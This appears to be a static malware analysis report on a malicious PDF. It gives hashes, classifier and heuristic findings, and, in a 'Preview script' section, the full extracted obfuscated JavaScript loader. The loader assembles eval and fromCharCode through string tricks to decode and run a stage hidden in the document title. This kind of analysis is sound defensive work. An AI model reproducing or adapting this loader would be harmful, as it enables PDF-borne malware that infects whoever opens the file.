Malicious PDF — malware analysis report

Static analysis result for SHA-256 bd104ef6dfad211e…

MALICIOUS

PDF

44.8 KB First seen: 2026-05-09
MD5: f2354d827ca9db961d32002e6c398055 SHA-1: 7b890a25d33118366e7bbf43a0452c2742a719d3 SHA-256: bd104ef6dfad211e3282276b3b889f8907ffdb28004c071777cd91440eb45599
86 Risk Score

Malware Insights

The PDF file contains embedded JavaScript, indicated by heuristic firings for PDF_JAVASCRIPT and PDF_JS. The ML classifier strongly flags this PDF as malicious. The embedded JavaScript is likely designed to perform malicious actions, such as downloading a second-stage payload or exploiting vulnerabilities, although the specific actions could not be determined due to the absence of script content in the provided evidence.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB07A 480 bytes
SHA-256: 64dfdab5460ef1279c04d4e04d335a070ec110ac47344cd307aa89f3bd9437ba
Preview script
First 1,000 lines of the extracted script
aps='';
v='s'+'u';
try{try{qwe()}catch(a){gsdg()}}catch(e){v+=('wqg','b'+'st');}
qwe = ('webweb',v)[v+'r'];
t='le';
b='v';
a=["e","a","n","b","w",b,'r'];
e=(t,qwe)()[a[0]+b+a[1]+(a,t[0])];
pxc=e('ti'+'tle');
s=pxc.substr(t.length + 8,3)+'str';
q=pxc[s](1,(1,t.length + 7));
juztt=e('S'+'tring.fro'+q);
q=pxc[s](14).split('u');;
e('k=q.length');
for (i = 0; i != k; i+=2) {
	rui = parseInt(q[i+1]) + parseInt(('erybjkerl',q[i]));
	aps += juztt(rui);
}
e(aps);

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